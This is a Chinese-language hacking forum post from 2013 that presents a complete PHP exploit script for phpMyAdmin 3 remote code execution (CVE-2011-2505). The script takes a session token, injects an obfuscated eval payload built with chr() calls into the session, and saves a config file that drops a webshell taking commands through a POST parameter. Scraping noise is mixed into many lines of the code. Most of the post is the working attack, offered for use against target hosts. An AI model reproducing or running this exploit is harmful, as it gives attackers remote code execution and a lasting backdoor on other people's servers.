找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2385|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
% N& `1 l& ~) p- C+ X
- f9 Y! T3 n" T, o7 h昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
* t( F3 s5 t0 t) O. P. [& S& V' A" B9 U
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
' I! c2 y- `/ {0 U2 R' u一是session.auto_start = 1;
5 ]" ?' F0 T5 r" W( U二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。, I1 C0 m# K4 r3 q6 J
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。  \- t* F6 C6 d; H9 b" Y
# E& I) q7 e7 k1 N. V
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
& D1 F* A7 ?7 h) B! m5 I  n+ t) n. I" H* p5 A& _3 j7 [; _
于是写了这个php版本的exp,代码如下:
7 s9 D4 q6 E, Y* m( s% S; y1 J4 M- [5 \" t+ Z8 S* S1 z3 g
#!/usr/bin/php
7 f9 b% J* A* P0 D3 C<?php8 ?- U2 B! w  o( j+ R+ h) r
print_r(') u* B3 n1 h3 ]4 F* G+ P( D
+---------------------------------------------------------------------------+, j1 U6 ^/ [, @, c' `
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]2 a" y  g6 V+ v0 V! M( r
by oldjun(www.oldjun.com)
; X$ q& |9 U% d% [+ s2 D$ Nwelcome to www.t00ls.net
* i! z3 B0 x7 B. ?2 Imail: oldjun@gmail.com6 w5 [0 [0 y- ~1 t9 Z& A
Assigned CVE id: CVE-2011-2505. i4 g7 t0 c8 c6 l( h
+---------------------------------------------------------------------------+
- _: v* }. G9 l) C6 V2 z! E');
# g2 Y' V( ]: ~) Z/ r: s) T& L( s: \
/**
5 I/ B9 ^& W: |; |  h2 I6 y4 j& J * working when the directory:"config" exists and is writeable.# D1 K/ v. q. z/ }7 c: F6 Z
**/
9 D! P" r- }7 D+ J$ G: B  S( r$ v
2 M* |4 e( [: mif ($argc < 3) {
7 x. I: y9 o6 T2 s0 `! r" c    print_r('
2 h- j2 t+ S% q/ y0 q7 z* |+---------------------------------------------------------------------------+
4 A" S; X) F. G$ P; Z4 j; R- u  ?7 XUsage: php '.$argv[0].' host path
+ a' J' }/ A# T/ chost:      target server (ip/hostname)
3 B! V% G4 m$ j( P# j0 @5 r4 \( \path:      path to pma3
" n5 Q1 F- h3 \5 y0 {$ s. W- jExample:
8 p# K! {. B; R7 Gphp '.$argv[0].' localhost /pma/5 u3 {+ _$ l, b9 Q# _) k, I' N  l
+---------------------------------------------------------------------------+
) S4 p( t! p( A: ^( T');
4 V: `% N/ `0 v# a* s    exit;, u( }: }6 |% Y* m/ _" v* l0 N
}
7 V( h  x* ^+ w0 W$ [: N) j$ {! O$ h1 d  n% f4 F, _
$host = $argv[1];
, X( F$ h( ^$ j0 s8 }  {$path = $argv[2];
" I& a2 s# @7 S+ S( P" h* i! _" h0 q1 }
/**# ], c( U$ y4 f! u
* Try to determine if the directory:"config" exists
. q( P+ L# ^3 l% F& U/ o**/( |7 |* c0 _9 q
echo "[+] Try to determine if the directory:config exists....\n";, V1 _: s& a) R* `9 g1 o
$returnstr=php_request('config/');  N7 @- }( I# @; K( w( u* [8 `
if(strpos($returnstr,'404')){1 O8 u  ^, L6 M$ x
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
. W$ i  r* Q9 X) }" d2 x* a3 u( {2 a}+ C1 p, q1 s2 r1 Q- l$ N

! p5 A. H! d* X2 T* e/**9 p# I9 x5 Y" E) W
* Try to get token and sessionid
1 ~0 ]+ Q5 J% X6 w**/! K: ]5 [- S- }0 x8 W6 M# ?+ L# t- u
echo "[+] Try to get token and sessionid....\n";. A, l5 f) L% N; g1 z
$result=php_request('index.php');: S7 R+ ?/ F% }* Y/ {" h% K
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);* `+ N8 D0 u% G. l$ W- T4 x3 f* U
$token=$resp[3];2 f4 _0 j! j+ `5 b4 s2 H5 M: H
$sessionid=$resp[1];& Q* f) U$ C$ \  G4 T+ `
if($token && $sessionid){: Q' ~. t8 C9 c7 v: p2 J
    echo "[+] tokentoken\n";
0 U' B; ?$ J8 X& c2 @    echo "[+] Session IDsessionid\n";" y' }7 S- C+ _4 ^" J7 e
}else{. O) m# `! D5 `$ X& }, J+ Z  I
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");: A) H8 ]5 [/ y/ q5 U, ]& B
}
- \- \2 r& d: V$ H( {, d2 s  e' d( z( q& i* |& h
/**, G' t, s! k4 n# o" @+ S$ A5 z
* Try to insert shell into session
" N3 m: Z! E8 o. X: U**/* I+ t4 V- r7 f
echo "[+] Try to insert shell into session....\n";
0 h6 z+ D6 l) i' ~php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.# K- L! D& k- q9 F. R$ B

, R* ~* J" ]& I/ S+ X- u* }  G/**2 x& h' ]9 o/ u  t
* Try to create webshell
1 O4 O6 S- P# G! F$ k3 P4 e9 u**/  l: m1 b4 \4 I
echo "[+] Try to create webshell....\n";
6 c# h3 F; C' Z. Aphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);/ N+ H; M6 Z/ z5 s: L+ M
/**
8 s( }7 z7 p1 z * Try to check if the webshell was created successfully
5 U9 @& A8 Y/ A/ P' B**/
# b- r- N2 p. z, r8 R/ decho "[+] Try to check if the webshell was created successfully....\n";
1 ?/ M5 X* R, x! H  p$content=php_request('config/config.inc.php');+ N3 m( d' j" ~; ~5 c; B
if(strpos($content,'t00ls')){
9 a% C- S$ U1 r8 d+ t+ d    echo "[+] Congratulations! Expoilt successfully....\n";
7 O9 Z  j5 i( V. _1 l% i    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";' o7 {) A" \  V) G# z
}else{
3 B; I2 A; N, E% y" N6 `    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
5 G' E& O$ g5 r4 z( u0 Y$ s2 U}# ~' I! t6 d4 w% e8 n
! \  C8 s) E. [2 u
function php_request($url,$data='',$cookie=''){
/ R9 Z  D: O, S" _5 i- z    global  $host, $path;
* ~3 [+ H8 S5 `% M: F* f6 h3 E   
0 l" O8 ?" ~8 F% n    $method=$data?'POST':'GET';
' X% Z( F( h7 w3 T/ @1 J0 V8 C" @   
* K9 ?6 S$ R; A; [, o    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
* J' ~/ Y# f5 {) }4 P0 R- `  x    $packet .= "Accept: */*\r\n";
  K7 C- N6 w  K    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
1 j+ X3 f! _; V3 c% A/ ~    $packet .= "Host: $host\r\n";& b- c; {9 u5 s+ Y, `/ T/ p
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";0 }( ]& I' y, b2 G2 h
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";" Q# H2 Y  W: {! y0 J
    $packet .= $cookie?"Cookie: $cookie\r\n":"";2 j: g: }1 z# C8 c
    $packet .= "Connection: Close\r\n\r\n";
1 N+ }6 f+ G5 Y' I    $packet .= $data?$data:"";
2 s. u1 ~0 e% R- M  I9 [$ x, L% m- `6 B( C+ g
    $fp = fsockopen(gethostbyname($host), 80);# m, [# Q. Y6 L  d0 D9 w
    if (!$fp) {& p3 j- y6 I0 S4 A# m! f
    echo 'No response from '.$host; die;
: u- w, e' f- r" T1 `" H% `    }2 [$ K1 q2 v- d7 t4 `8 ?% d. k- _
    fputs($fp, $packet);: w/ N  n3 R. _3 D/ e2 m' }5 [+ U
% E/ q8 v8 u" k: g# y& }6 R. H" r
    $resp = '';
1 C6 R9 ?7 k) A7 e, g5 `8 P- O1 V2 w8 ]8 B0 i
    while ($fp && !feof($fp))
3 l- w) M0 v4 I, u; u) V5 i        $resp .= fread($fp, 1024);
  X; }6 \% z9 K* ^  g5 e- W
7 g: {$ h. }5 u    return $resp;
5 I0 |, w/ C( q}+ n) t3 G$ h3 K7 u3 x/ }* S
   
! H5 B( z) y  s) P( o?> 1 I: e) l8 [3 v+ p6 m. A
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表